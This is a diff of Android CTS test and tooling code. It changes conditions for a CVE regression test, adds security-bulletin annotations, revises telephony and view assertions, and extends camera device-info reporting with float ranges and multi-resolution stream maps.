--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -17,8 +17,8 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.filters.RequiresDevice;
 import androidx.test.runner.AndroidJUnit4;
+import dalvik.system.VMRuntime;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 import static org.junit.Assert.assertFalse;
@@ -33,12 +33,12 @@
      * b/172655291
      */
     @Test
-    @RequiresDevice
-    // emulators always have checkJNI enabled which causes the test
-    // to abort the VM while passing invalid input to NewStringUTF
     @AsbSecurityTest(cveBugId = 172655291)
     public void testPocCVE_2021_0394() throws Exception {
-        assertFalse(poc());
+        VMRuntime vmRuntime = VMRuntime.getRuntime();
+        if (!vmRuntime.isCheckJniEnabled()) {
+            assertFalse(poc());
+        }
     }
 
     public static native boolean poc();
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index 2607eab..bd21f9f 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -27,6 +27,7 @@
 import android.hardware.SensorPrivacyManager.Sources.OTHER
 import android.os.PowerManager
 import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
 import android.support.test.uiautomator.By
 import android.view.KeyEvent
 import androidx.test.platform.app.InstrumentationRegistry
@@ -330,6 +331,7 @@
     }
 
     @Test
+    @AsbSecurityTest(cveBugId = [199550934])
     fun testTapjacking() {
         setSensor(true)
         startTestOverlayApp(false)
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
index 551a78d..e180e45 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "sts",
         "general-tests",
     ],
     srcs: ["src/**/*.kt"],
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
index 08ff0fcc..585da24 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "sts",
         "general-tests",
     ],
     srcs: ["src/**/*.kt"],
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index f142758..3a63d1d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -1938,29 +1938,39 @@
                 subscribeRequestCount.set(0);
             }
 
-            // Prepare the network response with sip code 200 OK
+            // Override the network response with the sip code 503 Service Unavailable
             capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
                 subscribeRequestCount.incrementAndGet();
-                cb.onNetworkResponse(200, "OK");
+                cb.onNetworkResponse(503, "Service Unavailable");
             });
 
             try {
                 // Request contact uce capabilities again.
                 requestCapabilities(uceAdapter, contacts, callback);
 
-                // Verify that the callback "onError" is called with the error code FORBIDDEN
-                assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
-                // Verify the retryAfter value
-                long retryAfterMillis = waitForLongResult(retryAfterQueue);
                 if (sipCode == sipCodeForbidden) {
-                    assertEquals(0L, retryAfterMillis);
+                    // Verify that device can still send the subscribe request. The callback
+                    // "onError" is called with the Server Unavailable error.
+                    assertEquals(RcsUceAdapter.ERROR_SERVER_UNAVAILABLE,
+                            waitForIntResult(errorQueue));
+                    // Verify the retryAfter value
+                    assertEquals(0L, waitForLongResult(retryAfterQueue));
+                    // Verify that the capabilities is not forbidden. The ImsService received the
+                    // request from the framework.
+                    assertEquals(1, subscribeRequestCount.get());
                 } else if (sipCode == sipCodeBadEvent) {
-                    assertTrue(retryAfterMillis > 0L);
-                }
+                    // When carrier config Bad Event flag is enabled and the device has received
+                    // the sip code 489 (bad event) before, the uce request will be forbidden.
 
-                // Verify that the capabilities won't be send to the ImsService because the
-                // uce request is forbidden.
-                assertEquals(0, subscribeRequestCount.get());
+                    // Verify that the callback "onError" is called with the error code FORBIDDEN
+                    assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
+                    // Verify the retryAfter value
+                    long retryAfterMillis = waitForLongResult(retryAfterQueue);
+                    assertTrue(retryAfterMillis > 0L);
+                    // Verify that the capabilities won't be send to the ImsService because the
+                    // uce request is forbidden.
+                    assertEquals(0, subscribeRequestCount.get());
+                }
             } catch (Exception e) {
                 fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
             } finally {
diff --git a/tests/tests/view/receivecontent/AndroidTest.xml b/tests/tests/view/receivecontent/AndroidTest.xml
index a66421a..6ce64b2 100644
--- a/tests/tests/view/receivecontent/AndroidTest.xml
+++ b/tests/tests/view/receivecontent/AndroidTest.xml
@@ -31,4 +31,9 @@
         <option name="package" value="android.view.cts.receivecontent" />
         <option name="runtime-hint" value="1m" />
     </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm64-v8a and device is x86_64 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+
 </configuration>
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 2837c98..88c5242 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -2891,6 +2891,28 @@
                 eq(new WindowInsets.Builder().build()));
     }
 
+    @UiThreadTest
+    @Test
+    public void testFindViewById_shouldBeDFS() {
+        View v1 = new View(mContext);
+        View v2 = new View(mContext);
+        View w1 = new View(mContext);
+        View w2 = new View(mContext);
+        v1.setId(2);
+        v2.setId(2);
+        w1.setId(3);
+        w2.setId(3);
+        ViewGroup vg1 = new MockViewGroup(mContext);
+        mMockViewGroup.addView(vg1);
+        vg1.addView(v1);
+        mMockViewGroup.addView(v2);
+        vg1.addView(w1);
+        vg1.addView(w2);
+
+        assertSame(v1, mMockViewGroup.findViewById(2));
+        assertSame(w1, mMockViewGroup.findViewById(3));
+    }
+
     static class MockTextView extends TextView {
 
         public boolean isClearFocusCalled;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
index 0202dde..ec4c0c7 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
 import android.content.Context;
@@ -340,6 +341,34 @@
         doesntRecycleWhenViewIdDoesntMatch(true /* async */);
     }
 
+    private void recycleWhenViewIdDoesntMatchFailsInMultipleLayout(boolean async) throws Throwable {
+        RemoteViews childRv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+        RemoteViews rv = new RemoteViews(childRv, childRv);
+        applyRemoteViews(rv);
+
+        RemoteViews childRv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+        RemoteViews rv2 = new RemoteViews(childRv2, childRv2);
+
+        try {
+            reapplyRemoteViews(rv2, async);
+        } catch (RuntimeException ex) {
+            return; // success
+        } catch (Throwable t) {
+            fail("Excepted a RuntimeException, received " + t.toString());
+        }
+        fail("Excepted a RuntimeException, no exception received.");
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutSync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInMultipleLayout(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutAsync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInMultipleLayout(true /* async */);
+    }
+
     private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
             throws Throwable {
         RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 906b917..4a12d70 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -24,6 +24,8 @@
 import android.hardware.camera2.params.BlackLevelPattern;
 import android.hardware.camera2.params.ColorSpaceTransform;
 import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
 import android.media.CamcorderProfile;
 import android.os.Build;
 import android.util.Log;
@@ -42,6 +44,7 @@
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -232,6 +235,18 @@
             mStore.endGroup();
         }
 
+        private void storeRangeFloat(
+                Range<Float> range, String protoName) throws Exception {
+            if (protoName == null) {
+                mStore.startGroup();
+            } else {
+                mStore.startGroup(protoName);
+            }
+            mStore.addResult("lower", range.getLower());
+            mStore.addResult("upper", range.getUpper());
+            mStore.endGroup();
+        }
+
         private void storeRangeInt(
                 Range<Integer> range, String protoName) throws Exception {
             if (protoName == null) {
@@ -287,6 +302,55 @@
             mStore.endGroup();
         }
 
+        private void storeMultiResStreamConfigurationMap(
+                MultiResolutionStreamConfigurationMap map, String protoName) throws Exception {
+            if (protoName == null) {
+                mStore.startGroup();
+            } else {
+                mStore.startGroup(protoName);
+            }
+
+            mStore.startArray("availableMultiResolutionConfigurations");
+            int[] fmts = map.getOutputFormats();
+            if (fmts != null) {
+                for (int fi = 0; fi < Array.getLength(fmts); fi++) {
+                    Collection<MultiResolutionStreamInfo> streamInfo = map.getOutputInfo(fmts[fi]);
+                    if (streamInfo != null) {
+                        for (MultiResolutionStreamInfo oneStream : streamInfo) {
+                            mStore.startGroup();
+                            mStore.addResult("format", fmts[fi]);
+                            mStore.addResult("width", oneStream.getWidth());
+                            mStore.addResult("height", oneStream.getHeight());
+                            mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+                            mStore.addResult("input", false);
+                            mStore.endGroup();
+                        }
+                    }
+                }
+            }
+
+            int[] inputFmts = map.getInputFormats();
+            if (inputFmts != null) {
+                for (int fi = 0; fi < Array.getLength(inputFmts); fi++) {
+                    Collection<MultiResolutionStreamInfo> streamInfo =
+                            map.getInputInfo(inputFmts[fi]);
+                    if (streamInfo != null) {
+                        for (MultiResolutionStreamInfo oneStream : streamInfo) {
+                            mStore.startGroup();
+                            mStore.addResult("format", inputFmts[fi]);
+                            mStore.addResult("width", oneStream.getWidth());
+                            mStore.addResult("height", oneStream.getHeight());
+                            mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+                            mStore.addResult("input", true);
+                            mStore.endGroup();
+                        }
+                    }
+                }
+            }
+            mStore.endArray();
+            mStore.endGroup();
+        }
+
         private static String getKeyName(Object keyObj) {
             return ((CameraCharacteristics.Key) keyObj).getName();
         }
@@ -342,6 +406,11 @@
                 return;
             } else if (keyType instanceof ParameterizedType &&
                     ((ParameterizedType) keyType).getRawType() == Range.class &&
+                    ((ParameterizedType) keyType).getActualTypeArguments()[0] == Float.class) {
+                storeRangeFloat((Range<Float>) keyValue, protoName);
+                return;
+            } else if (keyType instanceof ParameterizedType &&
+                    ((ParameterizedType) keyType).getRawType() == Range.class &&
                     ((ParameterizedType) keyType).getActualTypeArguments()[0] == Integer.class) {
                 storeRangeInt((Range<Integer>) keyValue, protoName);
                 return;
@@ -356,6 +425,9 @@
             } else if (keyType == BlackLevelPattern.class) {
                 storeBlackLevelPattern((BlackLevelPattern) keyValue, protoName);
                 return;
+            } else if (keyType == MultiResolutionStreamConfigurationMap.class) {
+                storeMultiResStreamConfigurationMap(
+                        (MultiResolutionStreamConfigurationMap) keyValue, protoName);
             } else {
                 Log.w(TAG, "Storing unsupported key type: " + keyType +
                         " for keyName: " + keyName);
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 250fba8..cf74572 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -29,5 +29,9 @@
     <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
          launcher always visible on one of the screens. -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
+    <!-- b/203779972: CtsCameraTestCases failures due to mismatching orientation between
+         device and camera sensor. -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 48521a9..cb192cc 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -65,6 +65,9 @@
     <!-- b/183654427 Remove CtsTelecomTestCases from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsTelecomTestCases" />
 
+    <!-- b/183655483 Remove CtsTelephonySdk28TestCases from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsTelephonySdk28TestCases" />
+
     <!-- b/183234756, b/80388296, b/110260628, b/159295445, b/159294948 CtsDevicePolicyManagerTestCases -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />